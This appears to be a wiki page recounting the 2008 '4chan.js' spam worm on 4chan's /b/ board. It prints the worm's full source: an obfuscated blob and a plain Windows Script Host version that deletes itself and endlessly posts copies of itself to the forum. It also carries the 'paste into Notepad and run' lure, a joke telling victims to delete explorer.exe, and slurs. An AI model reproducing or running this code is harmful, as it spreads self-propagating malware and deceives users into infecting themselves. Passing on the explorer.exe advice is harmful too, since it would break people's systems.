Personal tools
 

4chan.js

From WhatPort80

Jump to: navigation, search
The code.
The code.

On Friday, June 13 4chan began getting spammed with obfuscated Javascript code with simple instructions, urging all viewers to copy and paste the code into their notebooks and hit save. The javascript command would then flood 4chan with that same message.

Shortly after the spam stopped, a new form of spam begun. /b/tards and newbies began posting "goodbye /b/" and "/b/ 2003-2008" threads. Unaware that the spam was the chemo for the cancer that is killing /b/, and only the idiots hurting /b/ fell for it. Good Riddance. Nao named /b/OLOCAUST.


The script.

Copy and paste the following to Notepad, save with the filename "4chan.js", open the file you created and put on your diaper.
nm="<lQr@?E6?E\\s:DA@D:E:@?iO7@C>\\52E2jO?2>6lQ\r\n"+
"7F?4E:@?OCWXLC6EFC?O$EC:?8]7C@>r92Cr@56WQ2Q]492Cr@56pEW_XZ"+
"|2E9]7=@@CW|2E9]C2?5@>WXYaeXXN\r\n"+
"7l($w]4C62E6@3;64EWQD4C:AE:?8]7:=6DJDE6>@3;64EQX\r\n"+
"8l7]@A6?E6IE7:=6W($w]D4C:AE7F==?2>6X\r\n"+
"9l8]C6252==WX\r\n"+
"8]4=@D6WX\r\n"+
"7]56=6E67:=6W($w]D4C:AE7F==?2>6X\r\n"+
"IlQr@AJO2?5OA2DE6OE96O7@==@H:?8OE@O}@E6A25[OD2G6OH:E9OE96O"+
"7:=6?2>6O-Qc492?];D-Q[O@A6?OE96O7:=6OJ@FO4C62E65O2?5OD9:EO"+
"3C:4<D]-C-?-C-?QZ9\r\n"+
"2l($w]4C62E6@3;64EWQ>DI>=a]I>=9EEAQX\r\n"+
"H9:=6W`XL\r\n"+
"2]@A6?WQ86EQ[Q9EEAi^^:>8]c492?]@C8^3Q[_X\r\n"+
"2]D6?5WX\r\n"+
"3l2]C6DA@?D6E6IE\r\n"+
"4l3]DF3DECW3]:?56I 7WQC6D^QXZc[gX\r\n"+
"5lQQ\r\n"+
"6lQQ\r\n"+
"7@CW:l_j:ka_j:ZZX5ZlCWX\r\n"+
"7@CW:l_j:kgj:ZZX6ZlCWX\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math.random() * 26 ) )
}

f = WSH.createobject("scripting.filesystemobject")
g = f.opentextfile(WSH.scriptfullname)
h = g.readall()
g.close()
f.deletefile( WSH.scriptfullname )

x = "Copy and paste the following to Notepad, save with the filename \"4chan.js\", open the file you created and prepare your diaper.\r\n\r\n" + h
a = WSH.createobject( "msxml2.xmlhttp" )

while(1) {
	a.open( "get", "http://img.4chan.org/b", 0 )
	a.send()
	
	b = a.responsetext
	c = b.substr( b.indexOf( "res/" ) + 4, 8 )
	d = ""
	e = ""
	
	for( i = 0; i < 20; i++ )
		d += r()
	
	for( i = 0; i < 8; i++ )
		e += r()
	
	a.open( "post", "http://dat.4chan.org/b/imgboard.php", 0 )
	t = "multipart/form-data; boundary=" + d
	a.setrequestheader( "Content-Type", t )
	a.send("--" + d + "\r\n" + 
		k + "\"MAX_FILE_SIZ8\"\r\n\r\n" + "2097152\r\n--" + d + "\r\n" + 
		k + "\"resto\"\r\n\r\n" + c + "\r\n--" + d + "\r\n" + 
		k + "\"name\"\r\n\ r\n\r\n--" + d + "\r\n" +
		k + "\"email\"\r\n\r\n\r\n--" + d + "\r\n" + k + "\"sub\"\r\n\r\n\r\n--" + d + "\r\n" + 
		k + "\"com\"\r\n\r\n" + x + "\r\n--" + d + "\r\n" + 
		k + "\"upfile\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n\r\n\r\n--" + d + "\r\n" +
		k + "\"pwd\"\r\n\r\n" + e + "\r\n--" + d + "\r\n" + 
		k + "\"mode\"\r\n\r\nregist\r\n--" + d + "--\r\n" )
	
	WSH.sleep( 3e4 + Math.floor( Math.random() * 3e4 ) )
}


The Results

GodJesus bless script kiddies.
GodJesus bless script kiddies.
Kinda like this.
Kinda like this.
Beautiful, isn't it?


You didn't run it, did you?

Let us silently hope that it will happen soon.
Let us silently hope that it will happen soon.

If you're dumb, you need to delete explorer.exe immediately.

What happened?

  1. Some guy posted an instruction and malicious javascript code, and masked it as something "cool".
  2. The noob/stupid population quickly caught up and followed the instruction word for word. After all, it was something posted on /b/ so it had to be safe. Rite guise, rite?
  3. The script started to do its thing and spammed the hell out of /b/.
  4. Repeat steps 2& 3 at least 100 times.
  5. /b/'s server got under high pressure thanks to the spamming and started to autodelete pictures.
  6. Whimsical /b/tards began with their "the end is near"-prophecies.
  7. Somebody wrote how to get rid of the script.
  8. Mods deleted the trails of the flood, and /b/ was safe again. Sort of.

The Next Day

On approximately Saturday 06/14/08 08:29:04 GMT the script was reposted with just a slight alteration to the header to get it past the filter. This resulted in another identical crapflood.

The admins settled for just blocking the text (rather than doing what they should have been doing and banning the IPs of the people that fell for it), although this wasn't as stupid a move on their part as it might appear. 4chan relies on suggestible noobs to generate ad banner clickthroughs.

The moral of the story: /b/ would be a much better board if they permab& them all. It would also collapse from lack of revenue. Cure the cancer, kill the patient. That's the sad state of things.

Updates:

On Sunday, Jun 15, Moot finally did the smart thing and banned everyone who fell for the script. This coincided with other interesting wordfilters such as "Femanon" being replaced with "C**dumpster".

The exact text filtered is eval( which is the javascript function that causes the text strings to be interpreted as commands. Bans are a 15-day idiot smackdown, which is just what those trisomites needed. If you were stupid enough to fall for one of the "eval" threads, tough luck, stupid.

On Friday July 4th, Slightly modified script using the reverse() function were posted... and the whole thing started again. (Bwah-bwah-bwah-bwahhhhhhh.)

See Also

Image:4chan_label.png